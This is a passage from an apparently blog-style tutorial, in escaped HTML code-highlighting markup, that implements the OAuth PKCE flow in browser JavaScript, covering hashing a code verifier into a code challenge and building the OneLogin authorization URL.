&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; window&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;crypto&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;subtle&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; Promise&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; resolve&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; reject&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;      let&lt;&#x2F;span&gt;&lt;span&gt; codeVerifierCharCodes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; textEncodeLite&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; codeVerifier&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      crypto&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;subtle&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;digest&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;SHA-256&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; codeVerifierCharCodes&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;then&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;          hashedCharCodes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; resolve&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; urlSafe&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Uint8Array&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;hashedCharCodes&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;          error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; reject&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; error&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; textEncodeLite&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; charCodeBuffer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Uint8Array&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; str&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; let&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; str&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   charCodeBuffer&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; str&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;charCodeAt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt; charCodeBuffer&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; urlSafe&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; buffer&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; encoded&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;fromByteArray&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Uint8Array&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; buffer&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt; encoded&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);font-weight: bold;&quot;&gt;\+&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);font-weight: bold;&quot;&gt;\&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;_&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #DBEDFF);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next we’ll SHA-256 digest and encode our code_verifier. This code has some helper functions to convert our code_verifier into an array of char codes that the crypto library can work with. Then we base64 encode it so it’s something we can send over as a query string. Note, the crypto library may be supported by the browser. It worked for me on Chrome, but your mileage may vary there. The code_challenge is the thing that gets stored with the AuthZ server (in our case, OneLogin) and is used to ensure that any subsequent requests regarding this authorization code are coming from the same application. We’ll see in the &#x2F;token request, that we send the code_verifier un-hashed back to the IdP and since the IdP knows to try SHA-256 hashing it, the IdP does just that and checks it against the code_challenge sent. This is the magic PKCE dust that defines this flow.
All this becomes our authorization step. That is, you make a link that a user clicks to get taken to the IdP’s &#x2F;auth page with all this information in the query string.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The auth URL&lt;&#x2F;strong&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; PKCEAuthCodeFirstStep&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; oidcURL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;process&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;OIDC_IDP_URL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;auth&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; queryParams&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;client_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;process&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;OIDC_CLIENT_ID&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; codeVerifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; createCodeVerifier&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 50&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;setItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code_verifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; codeVerifier&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; createCodeChallenge&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; codeVerifier&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;then&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; codeChallenge&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    queryParams&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code_challenge=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;codeChallenge&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    queryParams&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;redirect_uri=http:&#x2F;&#x2F;localhost&#x2F;login_oidc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    queryParams&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;code_challenge_method=S256&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    queryParams&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;response_type=code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    queryParams&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;scope=openid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;oidcURL&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${&lt;&#x2F;span&gt;&lt;span&gt;queryParams&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, 